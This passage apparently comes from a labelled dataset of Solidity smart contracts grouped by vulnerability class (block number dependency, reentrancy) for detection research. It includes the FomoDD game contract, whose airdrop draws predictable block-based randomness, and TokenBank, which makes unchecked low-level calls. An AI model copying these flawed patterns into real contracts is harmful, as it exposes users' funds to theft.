address affiliateAddress, bytes32 affiliateName, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); } contract modularFomoDD is FDDEvents {} contract FomoDD is modularFomoDD { using SafeMath for *; using NameFilter for string; using FDDKeysCalc for uint256; BankInterfaceForForwarder constant private Bank = BankInterfaceForForwarder(0xfa1678C00299fB685794865eA5e20dB155a8C913); PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xA5d855212A9475558ACf92338F6a1df44dFCE908); address private admin = msg.sender; string constant public name = ""FomoDD""; string constant public symbol = ""Chives""; uint256 private rndGap_ = 0; uint256 private rndExtra_ = 0 minutes; uint256 constant private rndInit_ = 12 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => FDDdatasets.Player) public plyr_; mapping (uint256 => FDDdatasets.PlayerRounds) public plyrRnds_; mapping (uint256 => mapping (uint256 => FDDdatasets.PlayerRounds)) public plyrRnds; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; uint256 public rID_; FDDdatasets.Round public round_; mapping (uint256 => FDDdatasets.Round) public round; uint256 public fees_ = 60; uint256 public potSplit_ = 45; constructor() public { } modifier isActivated() { require(activated_ == true, ""its not ready yet""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""non smart contract address only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""too little money""); require(_eth <= 100000000000000000000000, ""too much money""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { FDDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, _eventData_); } function buyXid(uint256 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { FDDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } buyCore(_pID, _affCode, _eventData_); } function buyXaddr(address _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { FDDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function buyXname(bytes32 _affCode) isActivated() isHuman() isWithinLimits(msg.value) public payable { FDDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } buyCore(_pID, _affID, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { FDDdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } reLoadCore(_pID, _affCode, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { FDDdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { FDDdatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } reLoadCore(_pID, _affID, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round[_rID].end && round[_rID].ended == false && round[_rID].plyr != 0) { FDDdatasets.EventReturns memory _eventData_; round[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit FDDEvents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit FDDEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit FDDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit FDDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit FDDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0))) return ( (round[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round[_rID].end) if (_now > round[_rID].strt + rndGap_) return( (round[_rID].end).sub(_now) ); else return( (round[_rID].strt + rndGap_).sub(_now)); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round[_rID].end && round[_rID].ended == false && round[_rID].plyr != 0) { if (round[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds[_pID][_rID].mask) ), plyr_[_pID].aff ); } plyrRnds_[_pID] = plyrRnds[_pID][_rID]; } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round[_rID].mask).add(((((round[_rID].pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round[_rID].keys))).mul(plyrRnds[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256) { uint256 _rID = rID_; return ( round[_rID].keys, round[_rID].end, round[_rID].strt, round[_rID].pot, round[_rID].plyr, plyr_[round[_rID].plyr].addr, plyr_[round[_rID].plyr].name, airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, FDDdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _eventData_); } else { if (_now > round[_rID].end && round[_rID].ended == false) { round[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit FDDEvents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, FDDdatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _eventData_); } else if (_now > round[_rID].end && round[_rID].ended == false) { round[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit FDDEvents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, FDDdatasets.EventReturns memory _eventData_) private { if (plyrRnds[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round[_rID].eth < 100000000000000000000 && plyrRnds[_pID][_rID].eth.add(_eth) > 10000000000000000000) { uint256 _availableLimit = (10000000000000000000).sub(plyrRnds[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round[_rID].plyr != _pID) round[_rID].plyr = _pID; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 100000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds[_pID][_rID].keys = _keys.add(plyrRnds[_pID][_rID].keys); plyrRnds[_pID][_rID].eth = _eth.add(plyrRnds[_pID][_rID].eth); round[_rID].keys = _keys.add(round[_rID].keys); round[_rID].eth = _eth.add(round[_rID].eth); _eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_); endTx(_pID, _eth, _keys, _eventData_); } plyrRnds_[_pID] = plyrRnds[_pID][_rID]; round_ = round[_rID]; } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return((((round[_rIDlast].mask).mul(plyrRnds[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds[_pID][_rIDlast].mask)); } function calcKeysReceived(uint256 _eth) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0))) return ( (round[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0))) return ( (round[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""only PlayerBook can call this function""); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""only PlayerBook can call this function""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(FDDdatasets.EventReturns memory _eventData_) private returns (FDDdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function managePlayer(uint256 _pID, FDDdatasets.EventReturns memory _eventData_) private returns (FDDdatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(FDDdatasets.EventReturns memory _eventData_) private returns (FDDdatasets.EventReturns) { uint256 _rID = rID_; uint256 _winPID = round[_rID].plyr; uint256 _pot = round[_rID].pot; uint256 _win = (_pot.mul(45)) / 100; uint256 _com = (_pot / 10); uint256 _gen = (_pot.mul(potSplit_)) / 100; uint256 _ppt = (_gen.mul(1000000000000000000)) / (round[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _com = _com.add(_dust); } plyr_[_winPID].win = _win.add(plyr_[_winPID].win); round[_rID].mask = _ppt.add(round[_rID].mask); _eventData_.compressedData = _eventData_.compressedData + (round[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.newPot = _com; rID_++; _rID++; round[_rID].strt = now + rndExtra_; round[_rID].end = now + rndInit_ + rndExtra_; round[_rID].pot = _com; round_ = round[_rID]; return(_eventData_); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds[_pID][_rIDlast].mask = _earnings.add(plyrRnds[_pID][_rIDlast].mask); plyrRnds_[_pID] = plyrRnds[_pID][_rIDlast]; } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round[_rID].end && round[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round[_rID].end); if (_newTime < (rndMax_).add(_now)) round[_rID].end = _newTime; else round[_rID].end = rndMax_.add(_now); round_ = round[_rID]; } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, FDDdatasets.EventReturns memory _eventData_) private returns(FDDdatasets.EventReturns) { uint256 _com = _eth * 5 / 100; uint256 _aff = _eth * 10 / 100; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit FDDEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now); } else { _com += _aff; } if (!address(Bank).call.value(_com)(bytes4(keccak256(""deposit()"")))) { } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, FDDdatasets.EventReturns memory _eventData_) private returns(FDDdatasets.EventReturns) { uint256 _gen = (_eth.mul(fees_)) / 100; uint256 _air = (_eth / 20); airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.mul(20) / 100); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round[_rID].pot = _pot.add(_dust).add(round[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; round_ = round[_rID]; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round[_rID].keys); round[_rID].mask = _ppt.add(round[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds[_pID][_rID].mask = (((round[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds[_pID][_rID].mask); plyrRnds_[_pID] = plyrRnds[_pID][_rID]; round_ = round[_rID]; return(_gen.sub((_ppt.mul(round[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _eth, uint256 _keys, FDDdatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit FDDEvents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == admin); require(activated_ == false, ""FomoDD already activated""); activated_ = true; rID_ = 1; round[1].strt = now + rndExtra_; round[1].end = now + rndInit_ + rndExtra_; round_ = round[1]; } } library FDDdatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; } struct Round { uint256 plyr; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; } } library FDDKeysCalc { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface BankInterfaceForForwarder { function deposit() external payable returns(bool); } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } }",./Dataset/block number dependency (BN),0,0 33103.sol,"pragma solidity ^0.4.18; contract Ownable { address newOwner; address owner = msg.sender; function changeOwner(address addr) public onlyOwner { newOwner = addr; } function confirmOwner() public { if(msg.sender==newOwner) { owner=newOwner; } } modifier onlyOwner { if(owner == msg.sender)_; } } contract Token is Ownable { address owner = msg.sender; function WithdrawToken(address token, uint256 amount,address to) public onlyOwner { token.call(bytes4(sha3(""transfer(address,uint256)"")),to,amount); } } contract TokenBank is Token { uint public MinDeposit; mapping (address => uint) public Holders; ///Constructor function initTokenBank() public { owner = msg.sender; MinDeposit = 1 ether; } function() payable { Deposit(); } function Deposit() payable { if(msg.value>=MinDeposit) { Holders[msg.sender]+=msg.value; } } function WitdrawTokenToHolder(address _to,address _token,uint _amount) public onlyOwner { if(Holders[_to]>0) { Holders[_to]=0; WithdrawToken(_token,_amount,_to); } } function WithdrawToHolder(address _addr, uint _wei) public onlyOwner payable { if(Holders[msg.sender]>0) { if(Holders[_addr]>=_wei) { _addr.call.value(_wei); Holders[_addr]-=_wei; } } } function Bal() public constant returns(uint){return this.balance;} }",./Dataset/reentrancy (RE)/,5,5 3240.sol,"pragma solidity ^0.4.23; contract NokuPricingPlan { function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); function usageFee(bytes32 serviceName, uint256 multiplier) public view returns(uint fee); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract NokuCustomToken is Ownable { event LogBurnFinished(); event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); NokuPricingPlan public pricingPlan; address public serviceProvider; bool public burningFinished; modifier onlyServiceProvider() { require(msg.sender == serviceProvider, ""caller is not service provider""); _; } modifier canBurn() { require(!burningFinished, ""burning finished""); _; } constructor(address _pricingPlan, address _serviceProvider) internal { require(_pricingPlan != 0, ""_pricingPlan is zero""); require(_serviceProvider != 0, ""_serviceProvider is zero""); pricingPlan = NokuPricingPlan(_pricingPlan); serviceProvider = _serviceProvider; } function isCustomToken() public pure returns(bool isCustom) { return true; } function finishBurning() public onlyOwner canBurn returns(bool finished) { burningFinished = true; emit LogBurnFinished(); return true; } function setPricingPlan(address _pricingPlan) public onlyServiceProvider { require(_pricingPlan != 0, ""_pricingPlan is 0""); require(_pricingPlan != address(pricingPlan), ""_pricingPlan == pricingPlan""); pricingPlan = NokuPricingPlan(_pricingPlan); emit LogPricingPlanChanged(msg.sender, _pricingPlan); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BurnableERC20 is ERC20 { function burn(uint256 amount) public returns (bool burned); } contract NokuTokenBurner is Pausable { using SafeMath for uint256; event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); address public wallet; uint256 public burningPercentage; uint256 public burnedTokens; uint256 public transferredTokens; constructor(address _wallet) public { require(_wallet != address(0), ""_wallet is zero""); wallet = _wallet; burningPercentage = 100; emit LogNokuTokenBurnerCreated(msg.sender, _wallet); } function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { require(0 <= _burningPercentage && _burningPercentage <= 100, ""_burningPercentage not in [0, 100]""); require(_burningPercentage != burningPercentage, ""_burningPercentage equal to current one""); burningPercentage = _burningPercentage; emit LogBurningPercentageChanged(msg.sender, _burningPercentage); } function tokenReceived(address _token, uint256 _amount) public whenNotPaused { require(_token != address(0), ""_token is zero""); require(_amount > 0, ""_amount is zero""); uint256 amountToBurn = _amount.mul(burningPercentage).div(100); if (amountToBurn > 0) { assert(BurnableERC20(_token).burn(amountToBurn)); burnedTokens = burnedTokens.add(amountToBurn); } uint256 amountToTransfer = _amount.sub(amountToBurn); if (amountToTransfer > 0) { assert(BurnableERC20(_token).transfer(wallet, 